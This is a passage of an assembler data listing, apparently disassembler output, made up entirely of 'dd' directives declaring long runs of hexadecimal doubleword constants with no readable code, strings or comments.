0BCAA4F0Eh, 0CD071CFh, 0D925CB71h dd 3BEB303Dh, 476F26E4h, 287ED70Eh, 46D9DE26h, 307A9041h dd 0B1C7577Eh, 0E10629FEh, 7A540BEDh, 7E7ED0D6h, 0E5C70175h dd 3D5172Dh, 32679A79h, 0D5DD3AF8h, 468355Ah, 0D2A6E42Eh dd 580AED7Dh, 0AE9E6BB4h, 0F33A1603h, 55BCB0D4h, 232925Ah dd 581B46B6h, 504B2DCCh, 9EF9DE95h, 0AC6EE6E6h, 0DFB68C2Ch dd 0A896EB21h, 0F08C8F17h, 6667CFD0h, 0D4CA72A1h, 43B1E902h dd 1049E50Ah, 7A76089Ah, 0FD9963CCh, 0C66DA28h, 0B134C5F4h dd 162A6894h, 868B3322h, 2A65C617h, 8AD5700Dh, 97079F2h dd 0EB615E90h, 0F3E6793Ch, 0EC282F75h, 0A88BB60Bh, 0C9D8CB17h dd 79EE403Ah, 0B12D6AEAh, 0DC08F98Ah, 0D3FAD222h, 8A6E8335h dd 0F0C17D0Eh, 0B4B687Dh, 7E8C9BA5h, 661ACE65h, 0C3ED9E10h dd 29BB002Ch, 0B17D13D1h dd 4653B0DBh, 0FAFA245Fh, 2E2377D9h, 8D868869h, 0E65714B9h dd 92D6E9E4h, 0DD2DEAA8h, 0C372C3FFh, 0CBE25ECEh, 7DC4500Bh dd 64BD202Ah, 7A21755Eh, 97F19F3Ch, 954D5104h, 0FA8D5D05h dd 0F03B50E4h, 9058D78Ah, 3BE157FDh, 0C92AAD9h, 1BA9606Eh dd 0A125A555h, 61C28654h, 53FC4129h, 0C2D9DEBh, 5FCFF16Ch dd 0FCC5F319h, 0AE70E4B7h, 0DE05FED1h, 1C73DC58h, 96EEC0D2h dd 9EAB346h, 6D743231h, 92B8E18Ch, 0A9D50124h, 1DB3A496h dd 97F0D382h, 7D561E2Dh, 77E37BFCh, 0D12F4A45h, 687E973Ch dd 7A89E5Bh, 0AC141CDEh, 66FDE4AAh, 29C09E72h, 2D960CE6h dd 24C0D9DCh, 9378EC51h, 490E716Fh, 44545FB6h, 4DA1D324h dd 7FC907D9h, 3CA9D8B5h, 4A088503h, 70054995h, 0B28139Bh dd 5F563357h, 67A8C685h, 7278EEFCh, 6CD67EBAh, 63FFC97Dh dd 0D43C8472h, 744F18E4h, 26CDFB8Eh, 0AA59B826h, 0C43651D6h dd 2EFAB91Ah, 0E7DCB238h, 0B9A83F1Fh, 39A1F20Eh, 0C71B2651h dd 0DD837F1Fh, 30CEA9C9h, 48B460DBh, 2F015A0h, 911899Bh dd 0FB54A629h, 9F3761E0h, 0F2E67685h, 0B9A8D1DFh, 0E5C5600Dh dd 0FE3E7F6Ah, 2496421h, 0DD86A8B2h, 88CB19B3h, 8828B939h dd 3375CAABh, 0C404007Bh, 13660B54h, 0F5C52C09h, 2231EE6h dd 57D9F738h, 1E3F4C0Bh, 0A693F349h, 53DF6823h, 6CA97560h dd 4BCF1646h, 874DD5C9h, 0CE451E47h, 9EBE8F5Eh, 34086482h dd 0F9ED509Ch, 975C1577h, 1532392Ah, 2AC0700Eh, 585FAD4Dh dd 0B8178B5Bh, 8CEF1C94h, 0B36B6CADh, 1AA010CDh, 0C83BE882h dd 38ECDF28h, 38BE8F03h, 0DCA5DA44h, 0DFF5B99Eh, 210C2376h dd 0A810CAFBh, 1419362Ch, 21379A66h, 2BBCF822h, 0AC5107F4h dd 0D3718B93h, 9EE5F62Ah, 4EBAF474h, 88590C61h, 210A2BBEh dd 713DBAD7h, 0FF6F6BE2h, 6468D777h, 1078FCB0h, 0C00B7C4Bh dd 0B54C67DAh, 69637061h, 20DD9904h, 0AA2FFD9Ah, 0CC77EC2Bh dd 0E952140Dh, 115FBC61h, 2AC06C82h, 81CC7645h, 323176AAh dd 42CA4320h, 0E38B66CEh, 0AC2A6BEBh, 1D37476Fh, 0DBEA69D7h dd 55677DCAh, 906BA321h, 0A747B720h, 9AEF787Eh, 94DD723Ah dd 2C01B4C8h, 17DB59F6h, 5E44048Bh, 0A4F2738h, 3BBB0967h dd 518118FAh, 0B2F45CAFh, 9AFBFEFh, 5F28C7FCh, 2A02DE5Eh dd 0ABF4D562h, 4303BCB5h, 0AEF4BE89h, 0DD6EECEh, 3CD683F4h dd 518371F4h, 0FF17CC3Ch, 6478BECh, 6DA115EAh, 280F9412h dd 6762E8E1h, 72C35EC7h, 8AC07E40h, 0BEEC9525h, 8D412ECCh dd 7C323B8Ch, 0FA608AC9h, 0B682C94h, 77EAD688h, 4F816CA3h dd 5357D64Bh, 0FD47CC52h, 67D11F63h, 9FDF19Fh, 0E202ECBFh dd 0DDEDA940h, 2BE5E484h, 4D0F8213h, 0A09FD16Dh, 6836891Fh dd 0C2B2DAE1h, 0F748D5F2h, 16B290F3h, 0B60AD253h, 0B92125A8h dd 0F9D0A9A8h, 0B0DFA503h, 0F08B9A69h, 3283432Dh, 0AA0BF444h dd 0DD343546h, 0BD4661Ah, 0D8E85601h, 979BB3E4h, 80714345h dd 2641BA5Bh, 1168B217h, 75A20F2h, 3231769Eh, 0D4A965FEh dd 7CA62B7Bh, 0E813CBF0h, 97EB4D6Ah, 0FE851E49h, 0CB2579E0h dd 0F52C6E54h, 79AD241Ch, 0A3C44785h, 52389F7Ah, 0DDED52DAh dd 0BD1CBEBFh, 6594F586h, 17392876h, 0D0F294EFh, 5551BEF2h dd 5A24A7FBh, 0FB6A344h, 0E105D2F5h, 0FDA5A6E6h, 0E523A6E2h dd 0F29EEAB4h, 0D4184029h, 80C74AD2h, 4CFC2AD6h, 7ED215C2h dd 0F226AD18h, 3070DA87h, 88FC1884h, 0ADC44C74h, 1C2B3A38h dd 7655D644h, 45818CB1h, 8BA20D09h, 195E7248h, 0D99A1614h dd 557B6673h, 0A06AFE4Ch, 0C52D919Bh, 0DEDD4B8Eh, 8F9259DAh dd 2E2CD072h, 0A7DA8072h, 0B5357E2Ch, 76C84A22h, 0CA87353Ah dd 58973614h, 0DA2827A7h, 50BBA7AEh, 84EB8675h, 663EFC63h dd 0B2A3F840h, 9FA151B1h, 4F80F197h, 3EEDAD7Fh, 3EC236EBh dd 0CD14F5FCh, 0C07B572Eh, 0E7B6734Bh, 82E63837h, 80816A05h dd 1E0E2CAAh, 0F16BE059h, 4AE192ACh, 0D8D5BE1Dh, 0DD8D9408h dd 230DB1FCh, 0D8F43231h, 4B90C447h, 67A676C7h, 2C2C6F24h dd 744EE86Ah, 0D3989B8Ah, 3CFB34F5h, 5A0B0587h, 0A50A962Dh dd 0E9AE596Ch, 73E72E49h, 4EB46278h, 0DA5B9515h, 234B555h dd 4FC80624h, 3E4124D5h, 3E329DBFh, 4BCE8A20h, 3003A018h dd 216FEEFFh, 36796EAAh, 51E86A9Eh, 655F1B83h, 3BCE9B84h dd 0D0CE2810h, 25E5BE08h, 0B2A90AF3h, 0C1C73A62h, 46542B90h dd 0D8789327h, 160867D6h, 97B5FE85h, 0CCDCC020h, 3F2F96BEh dd 0A19BD56Ch, 1900D97Bh, 6D90B33h, 0FC0023E3h, 879BBA61h dd 5B1A3580h, 0FC47D714h, 0D39ED452h, 0C5086AE7h, 0B67C42EFh dd 53B691AAh, 0D88F6134h, 5C0F4C46h, 2123A06Ah, 53C465C1h dd 3CF8B28Bh, 0BFDC5352h, 953BF0CCh, 42393448h, 0A47F8518h dd 3828E39Eh, 5ADF4F84h, 3231D03Fh, 4B75CF1h, 0B7A9931Bh dd 58A427A1h, 96C956D8h, 0ABF29276h, 2B1A9C24h, 22CF7B07h dd 0F7CA9AEBh, 0F478DC73h, 1E99706Dh, 6BF84FDCh, 0B7E6C5ABh dd 4355B947h, 327B69F8h, 0AFC07D20h, 138CF993h, 774AE9CBh dd 1AAF3AFDh, 949AC798h, 9B6768EEh, 59B3FB48h, 0E9878596h dd 700C863Ch, 0F2DD5AFCh, 171FC0F0h, 0C7627B23h, 1882B32Ah dd 7E221072h, 0AFC7DAA3h, 2A852070h, 867C0C9h, 0AD83CF2Fh dd 0A56DAF51h, 0DC966224h, 46FD5711h, 0D0A160E2h, 0D714511Bh dd 0D124A28Fh, 118A5BF3h, 0F3252BF4h, 387D4296h, 1879A9B4h dd 693FBFE9h, 920DF882h, 0F4119500h, 1A1EA4C4h, 6153ABACh dd 0FA536660h, 94D60A5Dh, 4559B132h, 0B8E4041Dh, 0CF09BA9Eh dd 0FA2594CEh, 3DC0917Dh, 0D6F4CBE5h, 97667E78h, 8232E1EEh dd 10E8C51Bh, 0AC230005h, 0A067A5F5h, 22E24225h, 0A42544B7h dd 8222256Ah, 2B2AA6D6h, 7341A376h, 36CD3727h, 2BE676Eh dd 0C6B24B1h, 0FF9DC47Ch, 0A2FBBE11h, 1B0438D1h, 0BB35249Bh dd 19221018h, 0A3A8E3F2h, 0F68C7DE8h, 6F9FB3D1h, 0EFA66E67h dd 0B7A4D48Dh, 0FF2D894Ah, 51086320h, 53C13F35h, 0A587B630h dd 0D8904BCDh, 0F172ACA1h, 0CD451C07h, 3C3B9B97h, 0A5217F40h dd 3910E8F3h, 85FBAD76h, 69450A1Ch, 193AB4AAh, 9549B1EDh dd 0DA0FF20Eh, 3231249Fh, 82F35034h, 4567F06Eh, 0F891C02Fh dd 0B7430A3Bh, 5CE68F95h, 0A78D3498h, 0D967BAEFh, 18CA2604h dd 0A25827D9h, 0D0F270F3h, 32DF8E58h, 5288E0DCh, 8A1A2661h dd 7889D860h, 0E206B618h, 787ADA6Ch, 977EE07Ah, 7E45A5ACh dd 35A27E70h, 0B70036BDh, 8964AF9Ch, 0D5501308h, 7F58143Dh dd 7A05232Ch, 0EB8FF794h, 50C5EA6Dh, 345E92BDh, 808EAA96h dd 72162D6Ch, 92C1C782h, 152C7EACh, 1ADC61C3h, 23335098h dd 397EB940h, 0B10CB071h, 0FBD258F6h, 893E1516h, 89DF0FFBh dd 0B2076457h, 7B1656EEh, 0E104739h, 5F367F95h, 821158AAh dd 0BA93B31Ah, 62B0F08Bh, 86C36794h, 465AF5Bh, 0D39490F3h dd 9D616A95h, 3CF560B6h, 0A1BC3DD8h, 0B20A616Eh, 29FFF0A7h dd 3FC6F45Fh, 74FE8333h, 575AF108h, 23FA887Fh, 7F656A26h dd 0BA49986h, 0C8C56C09h, 3D71BAD3h, 1B2AD93Fh, 1BACC157h dd 989713D2h, 56FA1F47h, 280C76CBh, 528D0129h, 42E703FCh dd 70F8C45Ch, 6C541A2Eh, 6E5FC964h, 0EDB0BD2Fh, 5350F3ADh dd 0D152B548h, 0DA2F18CDh, 0B710C3CCh, 0EE74F13Fh, 19FDF633h dd 0B6043E5Dh, 0EF396620h, 0CCDB5E8Fh, 3D557595h, 9738BE1Eh dd 0E3991AFFh, 651C5C16h dd 133F55C3h, 129D0177h, 8D98DE03h, 21F030C6h, 3E285AF7h dd 410B4562h, 43C233ABh, 0E2ADB4B2h, 46D79715h, 2F498C83h dd 0F2C43D6Dh, 0C581E57h, 83252867h, 0A0982845h, 0D70DB2Ah dd 5BB54454h, 3B59F88Dh, 6977DA2Fh, 13CE2F27h, 0A7DBEE89h dd 8EEF7C4h, 44B76E9Bh, 5C41DA1Bh, 9AFFF680h, 530B92A8h dd 0FD4BDDEFh, 4A22600Ah, 811F88BEh, 4118F04Ch, 8BE41277h dd 64521C9Dh, 4DE9D74Dh, 0DCADB8h, 5C5157D0h, 0BC633336h dd 5E365A8Ah, 0B7EBC9A0h, 733CF583h, 98519710h, 0D62571CCh dd 6B5CA9F1h, 5065991Ah, 8D3231DDh, 60598156h, 57B6F138h dd 0DD09EDE9h, 22023E3Ch, 76D46A63h, 5E50EE3Ch, 0D43A1937h dd 0C6BE7958h, 83EC3340h, 4683CE6Fh, 133727A5h, 6AB5FE7Eh dd 91E7325Eh, 0EB1221E8h, 89E3EBB7h, 6EE77B83h, 0DB16C17Bh dd 0D7C5BAC6h, 16432BCBh, 0BC089B63h, 3E333BDDh, 4C323195h dd 436A0333h, 0BD64AA41h, 147127AFh, 18B3B9B2h, 42F07F3Ah dd 0E491C01Fh, 784A42E2h, 5D8B81D1h, 8987848Dh, 464CD9AAh dd 0B8A7512Dh, 5600795Bh, 889DBB42h, 0A695D0D9h, 0D8203660h dd 0D0E8BFECh, 5A599015h, 78583C28h, 6B1DC260h, 3BCE9EA5h dd 5B3D4925h, 23C1D2F8h, 0DF187146h, 4B00B11Ch, 157C53CDh dd 0BBB73231h, 0B8A6ADE7h, 9550D8CDh, 5ED0E048h, 0DDE2F4A4h dd 0CEBA750Dh, 0F5FC272Ch, 0D820FDF3h, 4940FCCBh, 4BB33EA5h dd 6D1E8323h, 198B5293h, 92D6234Fh, 0B2766BA1h, 0BBD8D1C0h dd 20C035D0h, 0A5955D53h, 14C0397Eh, 0E7577ADDh, 9B58A3D3h dd 420C88F7h, 1F21621h, 5B294A98h, 1796E86Fh, 0D6C23231h dd 1D586839h, 0B3A611F7h, 11A19F81h, 7D3630CAh, 525B2E27h dd 8D70FB91h, 965B2B81h, 8268EC25h, 62E8C7A8h, 0A5A60644h dd 7024A6E2h, 0E1826FD4h, 0E52B3A1Bh, 94482A0Fh, 0A8BC5251h dd 5F6775E4h, 77101BA5h, 0FB95B184h, 2984684Ch, 523231B9h dd 4074AC28h, 0B5954AA9h, 346603B8h, 0B603D2E3h, 7771E8A8h dd 65688AF5h, 0B883E319h, 0FCE36905h, 232EAF9Ch, 511BBD91h dd 87734F1Bh, 2A574913h, 0E5FF5CA7h, 443599FEh, 3A9F85A9h dd 0E4EBF8BCh, 707EFF62h, 38431B59h, 0D83B97B0h, 464A4129h dd 0EDD494DCh, 1D26BE4h, 8DEE066Fh, 0FA072E70h, 0E305EB5Fh dd 99A2D5A7h, 44F7628Ch, 9693967h, 0A124CF88h, 0CA8A55C5h dd 2588845Ah, 0B279E94Fh, 0C452CD40h, 0F7D24127h, 8217132Eh dd 0A12B9230h, 5275C8FCh, 0CAACC71Ch, 32319715h, 4BFD5A15h dd 0FE55F199h, 0BF831886h, 0EF24F7E2h, 71AC6FEh, 6EA96F8Dh dd 0EED027CAh, 722696B4h, 1D7189D6h, 3BD40971h, 0D8DDF30Fh dd 4EB119A6h, 9C9EC769h, 4228DA8Dh, 6C4E57B6h, 2F210E69h dd 0AA55F68Bh, 0D235E91Dh, 0CE1C3220h, 6870D92h, 7F86ABF6h dd 12EFBCACh, 94AAD34Ah, 989E9D91h, 95FF4933h, 1EE1B900h dd 109A8921h, 1FB14134h, 51DAD146h, 87808CB4h, 3455182Fh dd 2BFF471Ch, 0B7BDFCF3h, 0C669189Ah, 0E066BBDBh, 176E2114h dd 2EAFAD39h, 8E34B8Eh, 68A724h, 5C8B9B64h, 30BF3D0h, 0EA5FE665h dd 0DC4270D9h, 66730F4Bh, 8EAE938h, 0C82A5AA9h, 977E4BFCh dd 5B9A706Ah, 0BE9C8D12h, 5F7503CFh, 0D5338BEDh, 7DC8D75Ch dd 74C116B9h, 0BADC4FBEh, 442D06E1h, 844A42EDh, 0AB93AE88h dd 43E7D8Ah, 693C7C15h, 0DAD6E4FAh, 0D02677Ah, 4A913990h dd 55EE481Ch, 0C7BB563Fh, 7770CA52h, 0E634F761h, 78F3C765h dd 332F9F61h, 7D18DD09h, 3DE1A812h, 4CA171D0h, 0A3672D05h dd 0E195471Bh, 7C5DA371h, 75AAA421h, 9CE55183h, 0C1F4FCDCh dd 0D44F5055h, 98B58247h, 78C64BADh, 0AC39097Dh, 9F7CC39h dd 0BB12A625h, 2167ABDCh, 771C7D68h, 32207DE8h, 82BACFF0h dd 3635F889h, 45A46596h, 25A895B7h, 39D7B8F7h, 0AA365B04h dd 9721C0A8h, 0E6E8BB1Fh, 2978CFF0h, 0E17C8FF7h, 65005944h dd 127BE36Eh, 1A327030h, 0A4EBE5DBh, 0E61278D0h, 0D0833F3Eh dd 6DAD97B8h, 0F092A715h, 0B564357h, 0C24B3966h, 0EEC376C3h dd 6BFBE31Eh, 0EFFDEF3Dh, 0B965CEABh, 0D1EC47FCh, 495EA07Eh dd 0CC2BBB0Fh, 68E43E8Ch, 47517240h, 0E8FFC147h, 131E3A41h dd 3F14F979h, 0EE137DA8h, 4C4BB40Ch, 0EC4C62A2h, 216AC5D7h dd 3046A124h, 3DBB35C6h, 7666ACA5h, 8F710AADh, 0A502C4DDh dd 8CEA263Dh, 7135F63Ah, 202E6C80h, 3081EE66h, 0A88747BAh dd 0AA4930DAh, 8C691E06h, 73E8607Ah, 72030456h, 0D2138F7Eh dd 7E4DF637h, 0C847BB10h, 81373CF1h, 0A56AB1E3h, 5296A76Ah dd 0AC87913Ch, 93166B6Eh, 0D87A29D5h, 0DA440B78h, 0E403A4E2h dd 0DB1FD8Fh, 0C7A21AA9h, 14D7D23Fh, 2F8086EDh, 26598371h dd 0B6914447h, 0E2FC4BA3h, 94D20602h, 0A39F512Eh, 0F7465B3Eh dd 0E173DDADh, 59640BFFh, 449EC9F8h, 0D6E48679h, 98F90A81h dd 229749C0h, 9D7F78D1h, 0DFC6F06Fh, 87323177h, 328AF443h dd 9E8367BEh, 4FA8659Fh, 0B7C1D07Ch, 37D22353h, 0C0D93BA4h dd 21D4E9FFh, 302C87FEh, 57AD21A8h, 0D1188561h, 0C6C54632h dd 5C332C80h, 4D0D59Fh, 0D1E852B4h, 177FD3B1h, 0EDF7EAB6h dd 0C910E108h, 0C1F21B5Dh, 7AD02C1Ah, 640F9CCAh, 92BA16AEh dd 0ECE072B6h, 5A3A0EB6h, 0FD3A2284h, 3814125Bh, 1986FF13h dd 0D3666F00h, 8C858FAFh, 0FA4C200h, 0E156685h, 97F7A487h dd 459C1953h, 74A2CAC4h, 19B1F2D7h, 68265FD6h, 0C16A7D4Ah dd 0ED332802h, 17F1B261h, 6376D12Dh, 4EB3FA36h, 97BEEF9Fh dd 83D03231h, 6F8B8599h, 9205CB11h, 0C5E1E53Bh, 42976658h dd 0DBF79D5Eh, 709EFBAFh, 0D7713A94h, 8AFEFD69h, 0D0564DC3h dd 6EE8D638h, 26D2034Bh, 10A7D0BDh, 625CA065h, 7EEE9440h dd 2A0DFC75h, 0A2488FC1h, 4BC2CAF7h, 24C8C8C7h, 4B53CFB1h dd 0F5EA2B62h, 542BF768h, 2D6AA3CBh, 6F876009h, 2E94361Ch dd 0F12A9256h, 9DB2AE8Eh, 30750C30h, 35B03B5Bh, 459945A4h dd 785ABD24h, 57CC9D74h, 667F5907h, 91304FB9h, 0F1DEB7E7h dd 0BF89BA8Bh, 2B96CFC5h, 7998CF89h, 35D9ED63h, 0FE0EE652h dd 0B8F969CAh, 8B4CA745h, 0FB096827h, 6F90F9ADh, 6E0C8FCFh dd 62EF0776h, 3D7EF79Eh, 0D4B0EB6h, 4FB8637Fh, 2AA7A95Fh dd 0C9FFD5A2h, 63850ADCh, 0B26627h, 0BF5BB7F3h, 6EB44A69h dd 8A6CCDF5h, 8EB5DFACh, 0BFD3B163h, 9FD0D83Ch, 0A43B785Eh dd 8A34F1CEh, 0F11783F9h, 3D1926CFh, 0C0B6C2F7h, 53522C10h dd 5EB1BB2Fh, 8C57746Ch, 0AA1B27C4h, 362DD31Eh, 0D41E2D96h dd 0E5203439h, 41C7A680h, 1D35D5E4h, 0FB9A73B4h, 72DFBE9Bh dd 437687Ch, 0D957C360h, 19E2B8C5h, 0D6A8D524h, 642488BBh dd 0F3F988B5h, 0BA19B554h, 40E785E0h, 0C9841365h, 0C334E43h dd 0AAAF4D27h, 5B574DA0h, 0FB280132h, 0D5D11D73h, 3BF03276h dd 0FD761E86h, 0A2D2864Ah, 22A5B33Dh, 2D87B880h, 2D29709Ah dd 15A46F54h, 265679CEh, 5EC03926h, 1187AF60h, 0B46E38E1h dd 0EF0C65D9h, 0DF506184h, 0A57AB1DBh, 1AC03F00h, 6B2DCA67h dd 0B7936C48h, 0F80F2A33h, 561CE320h, 65217038h, 0BB85E23Ah dd 0F7A970D9h, 923EC243h, 0C8AD8E08h, 1E9D1198h, 2FC1CA2Dh dd 0F320E2FFh, 6ED51D2Ah, 0E0A1E02Bh, 85E7BBAh, 0E9A1EE13h dd 0BA7F7188h, 0EA07AD43h, 0E8C74224h, 8A668EB6h, 516F6FA1h dd 7B6B853Fh, 5E755DD2h, 0F752BF7Ch, 20120A77h, 0B8EDD80Eh dd 6C24D183h dd 0A75CB430h, 0EA6A3A6Eh, 0A083EEA1h, 0B98BB79Fh, 9C165C11h dd 44BC2B12h, 0AC11183Fh, 70D67BCCh, 7B9BE3A6h, 5C4CBDA3h dd 5DF2566Dh, 305E9A16h, 0F7D7A148h, 8F8B58E1h, 252C6C6Bh dd 0FFD15671h, 3B537320h, 0F2F397E4h, 0D9228E71h, 79247E7h dd 75ACDDB1h, 0D2EB1AB0h, 17490D0h, 50028AC0h, 2F000368h dd 4C3BDE18h, 6561F5D3h, 7E4D1D6Ah, 98FFD44Eh, 0BCAE85A9h dd 0AEF2E5C2h, 0BEF2BE18h, 0D5662819h, 4AB7FDA1h, 632F6798h dd 3AED07DAh, 0ADAF3D5h, 0C9A8CC06h, 0D746564Bh, 8DE45CEh dd 9F0F07CEh, 9CD70693h, 1F47698Dh, 0AE2F3C14h, 5EE37527h dd 38990128h, 0C7D96F9Eh, 0E8CC76DDh, 633908D9h, 304B3A6Ah dd 8E94A534h, 694301E5h, 0CFFCC69h, 6577788h, 0D78AA919h dd 49846678h, 8167AB39h, 0CEC08D48h, 9AD07A3Eh, 45A712AAh dd 2574FD4Ch, 0FBFBB265h, 0C9FCA9Bh, 5667BB22h, 0E8C8CC02h dd 808E5B3Eh, 421E8E07h, 0D2B511BFh, 0DA08ED01h, 0E4C69876h dd 40199F6Ch, 9B6E75C0h, 0FC0E442Ch, 13B96DF2h, 6F84892Dh dd 0A41559F6h, 0CEDC2138h, 399DEFB2h, 2EDCFA57h, 0EA323123h dd 0F0BB3890h, 1B0640BEh, 6C873C3Eh, 6EC820F6h, 1B20681Fh dd 0FCFE57DFh, 0FBFF05FEh, 0D699AFEh, 0BD394690h, 0C185D133h dd 0E3165DA6h, 63574895h, 0E95EA0B4h, 7F0E550Ah, 0B92B000Ah dd 77F28047h, 6B9E45Dh, 1B392CB5h, 207EE2E8h, 27A54BACh dd 1358FB2Bh, 0C30BCA51h, 32316335h, 0B4A43D96h, 434E9C8Ah dd 182BCF5Fh, 0BFEB2E69h, 62FE851Ah, 7D7A5A8Ch, 358E125Fh dd 9DE41501h, 7C2F7506h, 0F40C9033h, 0F35C220Dh, 85474FC5h dd 0D23CDF13h, 0BE07FDD7h, 5B7D4464h, 1D3BE85Bh, 33B5186Fh dd 22DFAB9Bh, 95DC15D0h, 31D869CFh, 52DD6932h, 0F25B192h dd 0DEB0BD97h, 0CDBAF405h, 0F1CCEC13h, 2870EFACh, 0A462384Ah dd 8E231110h, 0B8A69483h, 0F7D95D83h, 98B65EBDh, 58C369E8h dd 8DB3AD4Dh, 0C3C3C097h, 7D3AD5DBh, 76FBEAB2h, 3BB281B3h dd 55AB653Fh, 23ECC3CEh, 9D7DDF48h, 3706E7F9h, 39BBD185h dd 0D4AC513h, 635A5AA4h, 94DE15C2h, 0F6A633D1h, 75504398h dd 195C225Dh, 0D7211023h, 1F3574BFh, 6985092Bh, 8A49282Ah dd 5EC894ADh, 9786AE98h, 0EE8904E1h, 440CC575h, 525337C9h dd 0EBDA194Dh, 94376089h, 0A4B09602h, 49F10826h, 5E21C2B5h dd 413B7404h, 0D0727BDBh, 94C1264Ah, 0CCE9FC6Dh, 5D521DBAh dd 0D9E48201h, 0B9248A18h, 4CABBA04h, 8730448Bh, 91762E65h dd 2F01EE4Eh, 7BD42CD0h, 1D82889Fh, 80335073h, 653738E5h dd 0F5DE3231h, 553CEDBh, 0F3C14850h, 1AC93231h, 7A0ABD83h dd 48BA4750h, 0E1819D96h, 0A8FA9AADh, 4B931BA1h, 249192D1h dd 0B0D6DC36h, 2FB6155Ah, 9E0C6A56h, 411AD81Ch, 9CAE04AEh dd 6B94CFE3h, 2A1BC176h, 6C635EA0h, 0E8E20C6Dh, 65CA6B26h dd 464A72Bh, 0E73EEE8Ah, 0EE7D8540h, 777F00D5h, 37D2D5A8h dd 0E39FAF5Fh, 313BD2CEh, 0AE228732h, 0BF09C426h, 1952ADB9h dd 128D336h, 0A2830868h, 144078DDh, 75C24CE9h, 3EFD1F82h dd 8BAE0BC2h, 0B0334076h, 85B82C00h, 7780F98Fh, 0B239B708h dd 0E026AD70h, 4188CA43h, 0D2988F2Dh, 86EA5F89h, 0B4E6F698h dd 79DCEEA1h, 0AA5CC81Fh, 0DF8C3277h, 21DA766Ch, 5DF4C034h dd 2D83E8A7h, 13CC5DF6h, 0D23E462Dh, 0CCB760ACh, 7619F5AEh dd 62F244C9h, 0F78FF5F1h, 93391771h, 27D83AD0h, 0C5E477D1h dd 0FF01DE80h, 4C519DAFh, 3FDEEB9h, 41EF310h, 0EE586004h dd 8872EF89h, 25CA9A93h, 0A705BF3Ah, 0FE9300BEh, 1898223Eh dd 0D47EBF75h, 4C496F8Fh, 54516004h, 112C84Ch, 0B562C864h dd 69A8C94Eh, 0E71A0598h, 296ED9C8h, 0B1786760h, 6EAE390Ah dd 672EF7A1h, 1AAF8EB8h, 0D2A30C8Ah, 0A18B8AD1h, 0D8861D53h dd 40D8DBDBh, 383A47E3h, 0C0AEE252h, 97860E1Bh, 0D9435477h dd 458F3275h, 3F71CA01h, 17BAE325h, 64A920DCh, 8C3DFB5Eh dd 0D3B427EBh, 194FEE5Fh, 53D94209h, 0D48FB20Fh, 0EE1FBA88h dd 752DCD4Ch, 0C907D239h, 5496272Ah, 411404EAh, 0FC56661Bh dd 0C2D43B0h, 11070466h, 3E6ACDC1h, 2FD7D6DAh, 1240ED9Ah dd 28259DB1h, 6DBDAC3Fh, 86CB449h, 25045229h, 2305765Ah dd 575BD21Dh, 0C267DD80h, 53D05D76h, 0D49D2DE0h, 701B16h dd 0A585A506h, 229E789Fh, 14B6FCF0h, 5FBCB532h, 2F4ED3E7h dd 0AC60DFD7h, 0DECE1866h, 7CF49F36h, 1B6DB800h, 34B613A4h dd 58958E48h, 9FD471Bh, 6ADB8EB9h, 28655B6h, 0BDA2162Fh dd 0E727D76h, 13A64B87h, 0B4B78539h, 26D730D5h, 0AC231332h dd 1762FFE4h, 91E03D9Fh, 0B514A9C2h, 0ECBFE567h, 8527FED0h dd 5B3662D9h, 0C06A8F19h, 0E01A42E3h, 0AF64A7EEh, 0B7FC4BFFh dd 1360F101h, 5FE91E0Ch, 0BB8C1650h, 0B088A5F4h, 0C39C9BCCh dd 7C6B0DA2h, 438CD2D5h, 95DE54B5h, 9788E817h, 6A358757h dd 499D7529h, 2F5496C6h, 5B0B985Fh, 0F2977DAAh, 31854BD9h dd 0FE926532h, 5E38379Ch, 7E1F4A33h, 76C0E8EFh, 0FDE1ED14h dd 0BDCF356Fh, 9EEB81A6h, 431F370Bh, 0E9929623h, 961C983Fh dd 0E2F28C8h, 0CAE6D346h, 0A75F2608h, 8962D33Ah, 0CFFC454Eh dd 254AEF15h, 0ED465BDBh, 0AE15A734h, 3843E1ACh, 78C79CD2h dd 0DCFFA37Eh, 0AEBB790h, 0D435A3C2h, 40357BF7h, 129C09EBh dd 987CAB48h, 0D98046DBh, 0BAB186BBh, 9B2781BDh, 4A60A3DCh dd 96ECADFh, 7F07F37Fh, 17EA077h, 21988546h, 0C83ED640h dd 0CF172008h, 63445D16h, 0F5261BC1h, 6D5DA4Eh, 60741F4Dh dd 0C1B8F000h, 8634748Fh, 19812419h, 79A5D2E7h, 98326AEBh dd 0AB803B86h, 8F9C6E2Fh, 0D2A08AD2h, 0F51388CAh, 1DFED0ADh dd 713C123Dh, 0B06765C1h, 507E292Fh, 0DB56A182h, 0FE49D7BCh dd 0F82F08A7h, 0CC191A25h, 0E098379Ah, 0AA6352Bh, 598A7294h dd 0FE339F85h, 0FC269E5Ah, 253667B6h, 0A36B29AAh, 7BD4387h dd 0DC3224CAh, 0D03D27C3h, 0FB4DCA9Bh, 0E240C3E1h, 0DF6FF046h dd 0AC8B6773h, 65513A69h, 18AAE4F9h, 2A59153Ch, 0F4B2130Bh dd 0A4CBF1F7h, 91D79555h, 0BE48D601h, 0EE6A4BD7h, 9A0EE450h dd 994F992Ch, 414BF8C1h, 1C747038h, 4D0E3463h, 154A76D6h dd 14BA12F9h, 2AA7043Eh, 3B4C21B0h, 2FAD1E89h, 0B6BD1A28h dd 0D6B64B6h, 0C270491Dh, 0F46BCD7Eh, 4754CBB6h, 0A8DEEC0Eh dd 0C9ED616Ch, 4E16C2C3h, 758F42E3h, 0DFF2328Fh, 0CC2EA99h dd 0DE695869h, 3C2AFE4Dh, 0ED0AAD1Dh, 7C4915D3h, 0D7B8901h dd 40EBEC0h, 9BF0FCE2h, 88FACC84h, 0C7AB54E2h, 0AB0D38F4h dd 4D8440CCh, 99526752h, 2447EFA6h, 0FD349A01h, 0C8BB0916h dd 92505E43h, 0AD9457F9h, 0AA603FBCh, 6942F0F2h, 0F4AFAE60h dd 2BBFFD20h, 3C95DF3Eh, 0DE8602DAh, 0F54D7DD3h, 226697CCh dd 0CA192FC6h, 0A70E69C9h, 0B1A0085Dh, 88D0717Fh, 0F4E917C5h dd 86CE2A27h, 0E3D8E25Ch, 5513BE8Dh, 9F11B764h, 28BAB025h dd 0C75B5B1Eh, 0AC9FBE96h, 7221B63Eh, 74637645h, 2AF6657Bh dd 7C4EBC7Ah, 5F97336Bh, 0D7FF7A4Ch, 1AAC37E2h, 0AABA4370h dd 5DFC5A6Ch, 0E3F7CA0Eh, 299F455Bh, 95F809CFh, 30E02141h dd 0C69A8B8Ch, 0C5D341F6h, 9F073AFFh, 1DB96EA6h, 0BDFBD17Ch dd 70BB9EFFh, 757B91D0h, 2AFBCF7h, 1BE70047h, 